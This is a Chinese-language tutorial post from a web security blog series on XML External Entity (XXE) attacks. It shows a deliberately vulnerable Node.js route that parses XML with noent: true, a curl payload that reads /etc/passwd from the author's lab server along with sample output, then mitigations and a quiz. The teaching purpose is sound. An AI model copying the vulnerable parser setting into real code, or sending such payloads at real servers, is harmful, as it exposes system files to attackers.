iT邦幫忙

2024 iThome 鐵人賽

DAY 15
0
Security

資安這條路:系統化學習網站安全與網站滲透測試系列 第 15

資安這條路:Day 15 理解 XXE(XML 外部實體)漏洞與實作指南

  • 分享至 

  • xImage
  •  

什麼是 XML?

XML(可擴展標記語言,Extensible Markup Language)是一種常用於儲存和傳輸資料的語言,其結構類似於 HTML。

不同於 HTML 固定的標籤,XML 是可自定義的,允許開發者根據需求定義自己的標籤,因此非常適合用於資料交換和設定檔案。以下是一個簡單的 XML 範例:

<?xml version="1.0" encoding="UTF-8"?>
<book>
  <title>Learn Cybersecurity</title>
  <author>Phoebe</author>
</book>

XML 的彈性讓它成為許多應用程式傳遞資料的主要格式,尤其是早期的網路服務和 SOAP 協定。雖然現在 JSON 越來越流行,但 XML 仍然在許多系統中廣泛使用。

什麼是 XXE(XML 外部實體)漏洞?

XXE(XML External Entity,XML 外部實體)是一種針對 XML 解析器的攻擊手法,當應用程式解析 XML 並允許處理外部實體時,攻擊者可以利用此漏洞讀取伺服器上的敏感資料或執行系統命令。

什麼是外部實體?

在 XML 中,實體(Entity)類似於變數的概念,可以代表某段文本或資料。而外部實體則是指那些儲存在外部資源(例如檔案系統或 URL)中的資料。

例如,以下的 XML 包含一個外部實體 &xxe;,其值是伺服器上的 /etc/passwd 檔案內容:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

當 XML 解析器允許擴展外部實體時,這段 XML 將會嘗試讀取伺服器上的 /etc/passwd 檔案,並將其內容插入到 <foo> 元素中。這種行為正是 XXE 攻擊的核心。

為什麼會有 XXE 問題?

XXE 漏洞的出現是由於某些 XML 解析器預設允許外部實體的解析,並且沒有進行適當的安全檢查。如果應用程式直接解析使用者輸入的 XML,而沒有對外部實體進行禁用或過濾,攻擊者就可以利用這個漏洞進行攻擊。

這些攻擊可能包括:

  • 讀取伺服器上的敏感檔案:如 /etc/passwd,這是 Linux 系統上的一個檔案,儲存系統上的使用者帳戶資訊。
  • 進行服務拒絕(DoS)攻擊:利用實體遞迴仔入大量資源,使伺服器資源耗盡。
  • 伺服器端請求偽造(SSRF):利用 XXE 發送內部網路的請求。

實作指南:使用 Node.js 模擬 XXE 攻擊

程式碼

https://github.com/fei3363/ithelp_web_security_2024/commit/d69a47b92542a78edbe25ce233af80bcf4e917a5

新增套件 libxmljs

  • 使用 libxmljs 來處理 XML

web/package.json

    "mongoose": "^6.0.0",
    "libxmljs": "^1.0.7"
  },

新增上傳 XML

  • 功能:接收 XML 資料並嘗試解析
    • 使用 libxmljs 來處理 XML
    • noent: true 故意讓它允許外部實體的解析
// 引入所需模組
const libxmljs = require('libxmljs');

// 設定伺服器接受 XML 格式的請求
app.use(express.text({ type: 'application/xml' }));

// 處理 XML 請求的路由
app.post('/load_xml', async function (req, res) {
    console.log('收到的 XML:', req.body);
    try {
        const xml = req.body;
        const doc = libxmljs.parseXml(xml, { noent: true });  
        res.send(doc.toString({ format: true }));
    } catch (err) {
        res.status(500).send(err.toString());
    }
});


image

實作測試

使用 cURL 測試 XXE 漏洞

現在,我們可以啟動伺服器並使用 curl 測試這個 XXE 漏洞。這裡的 payload 試圖讀取伺服器上的 /etc/passwd 檔案:

curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>' http://nodelab.feifei.tw/load_xml

這個指令會向伺服器發送一個 XML 檔案,其中包含一個外部實體 &xxe;,該實體會嘗試讀取 /etc/passwd 檔案。如果伺服器存在 XXE 漏洞,將會回傳該檔案的內容。

image

如果伺服器存在漏洞,回傳的結果會類似於以下內容:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
</foo>

此結果表示伺服器成功解析了外部實體,並將 /etc/passwd 檔案的內容作為 XML 回傳。

如何防範 XXE 漏洞?

要防止 XXE 漏洞,我們可以採取以下幾種方法:

  • 禁用外部實體解析:在大多數 XML 解析器中,可以禁用外部實體的解析。在本例中,我們可以將 libxmljs.parseXml 中的 noent 設為 false 來避免外部實體被解析。
  • 使用安全的 XML 解析庫:選擇那些預設禁用外部實體解析的 XML 庫。
  • 輸入檢查和過濾:對使用者輸入的 XML 內容進行嚴格的檢查和過濾,避免包含危險的外部實體。

結論

透過這個實作練習,我們了解了 XXE 漏洞的原理和風險。作為開發者,保護應用程式免受 XXE 攻擊的最佳方式是了解這些漏洞的來源,並在編寫程式碼時採取適當的安全措施,尤其是禁用不必要的外部實體解析。

小試身手

  1. XML的主要用途是什麼?
    A) 網頁排版
    B) 資料儲存和傳輸
    C) 程式碼編譯
    D) 影像處理

    答案: B
    解析: XML(可擴展標記語言)主要用於儲存和傳輸資料。它允許開發者自定義標籤,非常適合用於資料交換和設定檔案。

  2. 以下哪項不是XXE(XML外部實體)漏洞可能造成的攻擊?
    A) 讀取伺服器上的敏感檔案
    B) 進行服務拒絕(DoS)攻擊
    C) 伺服器端請求偽造(SSRF)
    D) 暴力破解

    答案: D
    解析: XXE漏洞可能導致讀取敏感檔案、DoS攻擊和SSRF,但暴力破解是另一種不同的攻擊方式,與XML解析無關。

  3. 在XML中,外部實體(External Entity)指的是什麼?
    A) XML檔案中的註釋
    B) XML檔案的根元素
    C) 儲存在外部資源中的資料
    D) XML檔案的屬性

    答案: C
    解析: 在XML中,外部實體是指那些儲存在外部資源(例如檔案系統或URL)中的資料。

  4. 以下哪種方法不能有效防範XXE漏洞?
    A) 禁用外部實體解析
    B) 使用安全的XML解析庫
    C) 對使用者輸入的XML內容進行檢查和過濾
    D) 增加XML檔案的大小限制

    答案: D
    解析: 增加XML檔案的大小限制雖然可能減緩某些DoS攻擊,但不能直接防範XXE漏洞。有效的方法包括禁用外部實體解析、使用安全的XML解析庫,以及輸入檢查和過濾。

  5. 在給出的Node.js程式碼中,哪個設定使得XML解析器容易受到XXE攻擊?
    A) express.text({ type: 'application/xml' })
    B) libxmljs.parseXml(xml, { noent: true })
    C) res.send(doc.toString({ format: true }))
    D) app.post('/load_xml', async function (req, res) { ... })

    答案: B
    解析: libxmljs.parseXml(xml, { noent: true }) 中的 noent: true 設定允許解析外部實體,這使得XML解析器容易受到XXE攻擊。為了防範XXE漏洞,應將此設定改為 false。


上一篇
資安這條路:Day 14 NoSQL 過於信任 json 內容與關閉安全機制
下一篇
資安這條路:Day 16 建立壓縮檔案功能,了解 Command Injection 的威脅
系列文
資安這條路:系統化學習網站安全與網站滲透測試30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言